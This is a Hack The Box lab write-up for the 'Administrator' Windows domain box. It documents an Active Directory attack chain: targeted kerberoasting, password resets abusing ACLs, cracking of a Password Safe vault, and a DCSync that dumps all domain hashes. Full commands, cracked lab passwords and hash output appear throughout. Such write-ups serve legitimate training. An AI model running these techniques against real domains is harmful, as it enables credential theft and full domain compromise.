Hack The Box Administrator Writeup (Medium Windows)
Medium Windows AD box. GenericAll lets olivia reset michael, benjamin pulls a Password Safe vault off FTP, and a kerberoast on ethan ends in DCSync.
Hack The Box Administrator Writeup (Medium Windows)
Summary
Administrator is a Medium Windows domain controller that starts from the supplied account olivia / ichliebedich. BloodHound collection over LDAP shows olivia holding GenericAll over michael, which is enough both for a targeted kerberoast and, more directly, for resetting michael’s password with net rpc password. michael in turn can change benjamin’s password, and benjamin’s membership of Share Moderators opens the FTP service, where a Backup.psafe3 vault sits; hashcat mode 5200 cracks the vault to tekieromucho and pwsafe gives up emily’s still valid password. emily holds GenericWrite over ethan, so targetedKerberoast adds an SPN, requests the ticket and hashcat cracks it to limpbizkit. ethan has DCSync rights over the domain, so impacket-secretsdump dumps NTDS.DIT including the Administrator NT hash and the domain is fully compromised.
Enumeration
Credentials
1
2
3
4
5
6
7
8
Olivia:ichliebedich
michael:newP@ssword2022
benjamin:newP@ssword2022
Backup.psafe3 (file):tekieromucho
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
ethan:limpbizkit
BS01: Targeted Kerberoasting Attack
Explanation
Domain user “Olivia” has the “GenericAll” privileges over user “michael”. It’s possible to add SPN to “michael” and perform a targeted kerberoast attack over this user. Using the password hash obtained, the attacker could be able to use offline methods to try and crack it and potentially retrieve the cleartext password.
Reproduce
- Use “bloodhound” to enumerate the active directory domain:
1
nxc ldap 10.10.11.42 -u Olivia -p 'ichliebedich' --bloodhound -c All
- Use “targetedKerberoast” tool to perform the attack:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿security)-[~/hacking/tools/targetedKerberoast]
└─$ sudo ntpdate 10.10.11.42
2024-12-31 00:31:40.715319 (+0000) +25199.879605 +/- 0.022170 10.10.11.42 s1 no-leap
CLOCK: time stepped by 25199.879605
┌──(kali㉿security)-[~/hacking/tools/targetedKerberoast]
└─$ python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'olivia' -p 'ichliebedich'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (michael)
[+] Printing hash for (michael)
$krb5tgs$23$*michael$ADMINISTRATOR.HTB$administrator.htb/michael*$c5743c31e4965ab78507643632177264$7f9b2d49b1dd1937fef32bd4b11782cedeff664c2e148f49c1d567d3c18e51f585d5763e6dedaf0733ee6500912f48ff6ca8557b86ad96f7b30e33d14c39dcda8f80f3bfed2f639fa6655a79f1360d827fe32ccf6257ade26705b8bc4aa46eee6e7bdab5957149b2c9a9a43c109b465544ae1324b87e0e453ba9989aaed113049fa74349396ebe09fbbeb6890af5327f8d095189b470a5ed64dada741bfa99390cef62bc65b66e956fdd5179caa5b22fe1563a5e21c530587147b0f925d580d17858ec8ab0808a4e5df08a8feb1f9a67195f2372a726f265d815683fbc1df52129919ed0141d39fd62f3c1867226103610b407af1aef275f63c6df65976f538aa0573cddcd9a07f52faa6cd86f75fdd779286f7163e29f6bbda424f503a68fe229382f02a622528f1a0afca0256beed5218c66fe72e64fa75a7cddf185235c795d8e0d4afadb749dc4638d15c37cd9a977ab38bd3d345cdbb57cea95968e3e45434c76f4fa8fc47fac5b2a9ae3fcd4023bcda29737f7de7de92bea6b767f35ea1a9a88100ebb5a5ea1a7fcf01dd22335a2e63ed3bdc2cfce343116c401c9044e3bdee50cbb22a46ea3f0b8d5f44b603244e8edf0b330aad4afe8f2efac8eb39a1ed565f998d1cb786040f6871b9b8eacc17d105867b5b3d4c923ce767babf0df2b2bb42e2ac23cb42bad1db84e78a830426757281e2e06b78ba77538a6f7a8a86dd3fa1c7ce2b78f8ac0931b088ba34a14475946579155c7183473dba5d45bf5d02054c35ddc9be0f2bdd69259fc18686d7dc6fe74d8eee1d8599fc83f2c33168687d2bb14f360868b2c313d35a6de0b3f4281787568f55dca9042d11bf505741412b0c6feccea40d4d31c583fbb8296ed0564c2b0060751ea0347d99ef6109abfab8d6cb5193b2fddaf08d19559e676838acc6142f838a2426dcaf275aade1ea76fa2695d9cbf1323176e7c5cf2f0683254e262995ad26d83c14f56e43b1b17cb978aaa678858c07af4dd70fffd78d5a602762cc5233c403510364cfab7d71e62aa7382f74c4231e49f751bfad2a24f1dec52a0cec64f227d9229c7e6984fd7f98b57b48ef59f59f05413022db037020972ed26108b3f1ae00257373f7849b22b0a4e7a55dc16660cd954483d438edbaf762ff6549a3ffa402d5368e72b673e84411e1b201746f72cd9c56965adaf9ea01ac4c587b0d796d8f710ca2f718b24f3f3d0dd89400634cf740005af4002878b116a2a6db417a78154d9521772cb0d1f4a65379cd58e3e52a5cbfedf88a96aeb9e455c0d0e2fbff3e4c680bd1abbc2104a496d373c4fb18673004916e7a8306abd4f977199aa1621464d78d24a91dcea372f871ec6899b207eb4cfa2f138609d3741cfe1f1b5eb6191086f5d80c8e96ef81dca140c2f4139afa7847d8f2a6490f7aa9664b75504bcd5b7ecf691b5b891c7d7f6b0ec42f7c730744e26b90543464ed4a6d63044eccbbb4bd683bf47a356673a7551959d32373d1873cd428ed6f6101c6a0fd6cc55
[VERBOSE] SPN removed successfully for (michael)
BS02: Horizontal Privilege Escalation - Changing “michael” Password
Explanation
Abusing the GenericAll from Olivia privileges over “michael”, it’s possbile to change michael’s password, and log in as michael.
Steps to Reproduce
- In your linux attacking host, change michael’s password:
1
net rpc password "michael" "newP@ssword2022" -U "ADMINISTRATOR"/"olivia"%"ichliebedich" -S "administrator.htb"
BS03: Horizontal Privilege Escalation - Changing “benjamin” password
Explanation
Abusing SeChangePassword privilege “michael” user has over “benjamin” user, it’s possible to change benjamin’s password arbitrarily.
Steps to Reproduce
- Change benjamin’s password using michael’s credentials:
1
net rpc password "benjamin" "newP@ssword2022" -U "ADMINISTRATOR"/"michael"%"newP@ssword2022" -S "administrator.htb"
BS04: Lateral Movement - Abusing “benjamin” Membership on “Share Moderators” Group
Explanation
User “benjamin” has membership on “share moderators” domain group. With membership in this group, members can access the FTP share on port 21. In this ftp share, it was discovered a psafe3 vault. We downloaded this psafe3 vault and used offline methods do crack its encryption password. Inside the vault, it was found many credentials for domain users.
Reproduce
Use previously described methods to change benjamin’s password.
Use benjamin’s access to download the psafe3 vault from the FTP server
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿security)-[~/hacking/htb/machines/medium]
└─$ nxc ftp administrator.htb -u benjamin -p 'newP@ssword2022' --ls .
FTP 10.10.11.42 21 administrator.htb [*] Banner: Microsoft FTP Service
FTP 10.10.11.42 21 administrator.htb [+] benjamin:newP@ssword2022
FTP 10.10.11.42 21 administrator.htb [*] Directory Listing
FTP 10.10.11.42 21 administrator.htb 10-05-24 08:13AM 952 Backup.psafe3
┌──(kali㉿security)-[~/hacking/htb/machines/medium]
└─$ nxc ftp administrator.htb -u benjamin -p 'newP@ssword2022' --get Backup.psafe3
FTP 10.10.11.42 21 administrator.htb [*] Banner: Microsoft FTP Service
FTP 10.10.11.42 21 administrator.htb [+] benjamin:newP@ssword2022
FTP 10.10.11.42 21 administrator.htb [+] Downloaded: Backup.psafe3
- Crack the psafe3 vault password with hashcat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$ hashcat Backup.psafe3 /usr/share/wordlists/rockyou.txt -m 5200
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 4800H with Radeon Graphics, 1438/2941 MB (512 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
ATTENTION! Potfile storage is disabled for this hash mode.
Passwords cracked during this session will NOT be stored to the potfile.
Consider using -o to save cracked passwords.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Backup.psafe3:tekieromucho
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5200 (Password Safe v3)
Hash.Target......: Backup.psafe3
Time.Started.....: Mon Dec 30 18:21:21 2024 (1 sec)
Time.Estimated...: Mon Dec 30 18:21:22 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 14234 H/s (5.72ms) @ Accel:64 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4864/14344385 (0.03%)
Rejected.........: 0/4864 (0.00%)
Restore.Point....: 4608/14344385 (0.03%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:2048-2049
Candidate.Engine.: Device Generator
Candidates.#1....: Liverpool -> denis
Hardware.Mon.#1..: Util: 94%
Started: Mon Dec 30 18:21:02 2024
Stopped: Mon Dec 30 18:21:23 2024
- Open the vault using pwsafe application, and now you’ll have the valid password for user “emily” as the other users might have changed their passwords, they’re not valid:
1
SMB 10.10.11.42 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
BS05: Lateral Movement - Targeted Kerberoast
Explanation
User “emily” has the “GenericWrite” ACL over “ethan”. We can abuse this ACL to perform a targeted kerberoast attack.
Reproduce
- Use targetKerberoast tool to perform the attack against “ethan”:
1
2
3
4
5
6
7
$ python3 ~/hacking/tools/targetedKerberoast/targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$6b4c789f00cc3773dee034361575c366$5cd84afc38e5d5257d3894d11732db0be7363d1322640ebffc44edf08b18ac773400d7b92c0ac01aed871989999cc702e3d8b4985fcd7f51b462d537315e22a15f2c08536021dbef2a01e17e7d9235b19094716b9d1f4794bae754d1f71dbeb4cf747c82cca0c19e02cd4d13b04cba76d6c2f418bbb2375765300b95f4109669dea0f4c7a9dc4ca32665ebee84ee33f4bb1ca12c988f20795e606d3606b3f46cd30fc219418471a28787e6e59d58c45d7fe6d48aa5852e830ba3b9e0b7ab1aec8a89b9aeddadce08398cff2428db0870b90d2146c0fd844fc64ccf8104e47b7d500a83bd3d42340db9a36b39b9dc35ed4f110745950b14a5dc73a76fbb2bfe5fbf3978630dafb5f067f928ade3a8bc1929ceaf528627ae91cac02d81e7c51e186e37b39f3490d0241855ecdb1e8439f13fada3b9be38cf651d966deed8c664aef43d62e8d5f25be7d0bb017e997eb9f30c889c3721df7d3a5df4eb4db1fa761a962f1b04eae832572b6d1115616a9ba301d1e25bcbabf7de76b32147d98a1b91b5b870cdeb53400f355086333060b24a6429829c80bbf01fb27680d4173b711bc8bebfbd2b89d954b23336d3d5425688c12025eb6437b969388750fa41da080902a1e371aff18cc23b72496411612134f46623ab5567ebb56063c0fc22016eaaaed6203cab2762ac98a3fe7d98fa414d56241ff468203588dbafff501ad2eee117e3257f0a02ba73b9c339d8c8fae52ac654c26abe2d5e39c024ce6bd14ba030d83f378b82065009ef67de2c8feaee119cd6a0f87c6d10fa2c207fdf406bfe1c0b2364b49f6909df56625323024e324a6f48f8b657ac6d8c0b5f9045ae457fa64ebd4de28acdadc9e8ed9552c4595abba90577dce447fd60c5ef5406d573fd5cb971085302942dbb71a15af6b343390906eca3ecac1834529ab9d49a248c1e8b45579976db06b53f86d7e9d4bbd7b00fb3412e3213b35ead4c2765d005db585c450527ef4b18b32a44a2eb98dd9e25dc6592ff52a95458673fd4dc6acff6480aae2384b5b00e261a3ed1dc9b88dcb681751745c3265865bcc8fbdd97bf729cf3fd3d330bd29b8d9d95c0469da7d7652f8fd7689ed4c297b2b6d1be2de94b823e576cd8ac020d768b5c3f48357a807fe39c2833506bcbeccf067a7517682faed04b8f782bd1bb3848cf21e6895bb31b8688e1ee6a67b71a506b00c4cc66d4fb506066df071994c075553b097c04fca33304a29cea6c80fa89e71a674435f4d5e3e3e0bb9a51987492470e184c80119bb23d37e8f5a7c2bbdd0baf10ea0a14b351b05a88898f65065c0b7ebbca3faf7a6c0b2d35e35fd8d97ab5bfbe67667b69d0721da3a52b9a84e745661e6d6f4d9372b0f51f3f6bb74d08bb4f464052b88e636dd5ad11d141a96d14a6b8092aeaaa931aeb43586056c44cf6c760b51ad2d6f2c44f158babcb30ad2c3f37d26640ff84557ae431938ad4ee95ad4a63c87e361193d4a78f86a9c57483ff5a3e24705ebd9a9f23b5e76feb84dbb0d4ceba3156
[VERBOSE] SPN removed successfully for (ethan)
- Crack ethan’s password using hashcat:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ hashcat administrator.ethan.kerberoast ../wordlists/rockyou.txt -d 1
hashcat (v6.2.6) starting in autodetect mode
<SNIP>
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$6b4c789f00cc3773dee034361575c366$5cd84afc38e5d5257d3894d11732db0be7363d1322640ebffc44edf08b18ac773400d7b92c0ac01aed871989999cc702e3d8b4985fcd7f51b462d537315e22a15f2c08536021dbef2a01e17e7d9235b19094716b9d1f4794bae754d1f71dbeb4cf747c82cca0c19e02cd4d13b04cba76d6c2f418bbb2375765300b95f4109669dea0f4c7a9dc4ca32665ebee84ee33f4bb1ca12c988f20795e606d3606b3f46cd30fc219418471a28787e6e59d58c45d7fe6d48aa5852e830ba3b9e0b7ab1aec8a89b9aeddadce08398cff2428db0870b90d2146c0fd844fc64ccf8104e47b7d500a83bd3d42340db9a36b39b9dc35ed4f110745950b14a5dc73a76fbb2bfe5fbf3978630dafb5f067f928ade3a8bc1929ceaf528627ae91cac02d81e7c51e186e37b39f3490d0241855ecdb1e8439f13fada3b9be38cf651d966deed8c664aef43d62e8d5f25be7d0bb017e997eb9f30c889c3721df7d3a5df4eb4db1fa761a962f1b04eae832572b6d1115616a9ba301d1e25bcbabf7de76b32147d98a1b91b5b870cdeb53400f355086333060b24a6429829c80bbf01fb27680d4173b711bc8bebfbd2b89d954b23336d3d5425688c12025eb6437b969388750fa41da080902a1e371aff18cc23b72496411612134f46623ab5567ebb56063c0fc22016eaaaed6203cab2762ac98a3fe7d98fa414d56241ff468203588dbafff501ad2eee117e3257f0a02ba73b9c339d8c8fae52ac654c26abe2d5e39c024ce6bd14ba030d83f378b82065009ef67de2c8feaee119cd6a0f87c6d10fa2c207fdf406bfe1c0b2364b49f6909df56625323024e324a6f48f8b657ac6d8c0b5f9045ae457fa64ebd4de28acdadc9e8ed9552c4595abba90577dce447fd60c5ef5406d573fd5cb971085302942dbb71a15af6b343390906eca3ecac1834529ab9d49a248c1e8b45579976db06b53f86d7e9d4bbd7b00fb3412e3213b35ead4c2765d005db585c450527ef4b18b32a44a2eb98dd9e25dc6592ff52a95458673fd4dc6acff6480aae2384b5b00e261a3ed1dc9b88dcb681751745c3265865bcc8fbdd97bf729cf3fd3d330bd29b8d9d95c0469da7d7652f8fd7689ed4c297b2b6d1be2de94b823e576cd8ac020d768b5c3f48357a807fe39c2833506bcbeccf067a7517682faed04b8f782bd1bb3848cf21e6895bb31b8688e1ee6a67b71a506b00c4cc66d4fb506066df071994c075553b097c04fca33304a29cea6c80fa89e71a674435f4d5e3e3e0bb9a51987492470e184c80119bb23d37e8f5a7c2bbdd0baf10ea0a14b351b05a88898f65065c0b7ebbca3faf7a6c0b2d35e35fd8d97ab5bfbe67667b69d0721da3a52b9a84e745661e6d6f4d9372b0f51f3f6bb74d08bb4f464052b88e636dd5ad11d141a96d14a6b8092aeaaa931aeb43586056c44cf6c760b51ad2d6f2c44f158babcb30ad2c3f37d26640ff84557ae431938ad4ee95ad4a63c87e361193d4a78f86a9c57483ff5a3e24705ebd9a9f23b5e76feb84dbb0d4ceba3156:limpbizkit
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator....ba3156
Time.Started.....: Mon Dec 30 19:03:17 2024 (0 secs)
Time.Estimated...: Mon Dec 30 19:03:17 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (../wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 16146.1 kH/s (7.62ms) @ Accel:512 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 229376/14344385 (1.60%)
Rejected.........: 0/229376 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> 17021982
Hardware.Mon.#1..: Temp: 44c Util: 20% Core:1380MHz Mem:6000MHz Bus:8
Started: Mon Dec 30 19:03:14 2024
Stopped: Mon Dec 30 19:03:19 2024
BS06: DCSYNC
Explanation
Domain-joined “ethan” has DCSYNC privileges over ADMINISTRATOR domain. After obtaining access as “ethan”, it was possible to perform the DCSYNC, obtaining password hashes for all users in the DC, including Local Administrator’s. This allowed for complete compromise of the domain.
Reproduce
Obtain access as ethan using previously described methods
Perform the DCSYNC using impacket toolkit’s secretsdump:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ impacket-secretsdump 'administrator.htb'/'ethan':'limpbizkit'@'administrator.htb' | tee dcsync.log
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:fb54d1c05e301e024800c6ad99fe9b45:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:fb54d1c05e301e024800c6ad99fe9b45:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:74c2d8511451c3ed7f148b6c9784b8f932cc9171b8bef9f8191a876fbd201688
administrator.htb\michael:aes128-cts-hmac-sha1-96:9c0a18a5505ac0b31e750e58510830db
administrator.htb\michael:des-cbc-md5:576d3704ea57eff1
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:debcfa9696a54eecc68ec3059bd1e382adf8056d3d373b5636817cde36d340e7
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:e07a6bebd5577429690961f33f0d537a
administrator.htb\benjamin:des-cbc-md5:cdc454c4adab5452
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
This post is licensed under CC BY 4.0 by the author.